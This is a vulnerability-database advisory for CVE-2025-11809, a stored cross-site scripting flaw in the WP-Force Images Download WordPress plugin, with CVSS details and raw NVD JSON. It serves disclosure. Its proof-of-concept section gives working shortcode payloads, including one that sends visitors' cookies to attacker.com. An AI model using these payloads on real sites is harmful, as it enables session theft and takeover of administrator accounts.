Security Vulnerability Report
中文
CVE-2025-11809 CVSS 6.4 MEDIUM

CVE-2025-11809

Published: 2025-10-22 09:15:33
Last Modified: 2026-04-15 00:35:42

Description

The WP-Force Images Download plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpfid' shortcode in all versions up to, and including, 1.8. This is due to insufficient input sanitization and output escaping on the 'class' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP-Force Images Download <= 1.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-11809 --> <!-- Step 1: Login as Contributor or higher role --> <!-- Step 2: Create a new post or page --> <!-- Step 3: Insert the following malicious shortcode in the content editor --> [wpfid class="x\" onmouseover=\"alert(document.cookie)\"] <!-- Or use a more sophisticated payload for cookie stealing --> [wpfid class="x\" onmouseover=\"var i=new Image();i.src='https://attacker.com/steal?c='+document.cookie;\"] <!-- Or using event handler injection via class attribute --> [wpfid class="\" style=\"background:url(javascript:alert('XSS'))\""] <!-- After submission, when any user (especially admin) views the page, --> <!-- the injected JavaScript will execute in their browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11809", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:32.680", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Force Images Download plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpfid' shortcode in all versions up to, and including, 1.8. This is due to insufficient input sanitization and output escaping on the 'class' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-force-images-download/tags/1.8/wp_fid.php#L155", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3384557%40wp-force-images-download&new=3384557%40wp-force-images-download&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07775638-270b-4424-8e2a-3ead1d752c88?source=cve", "source": "[email protected]"}]}}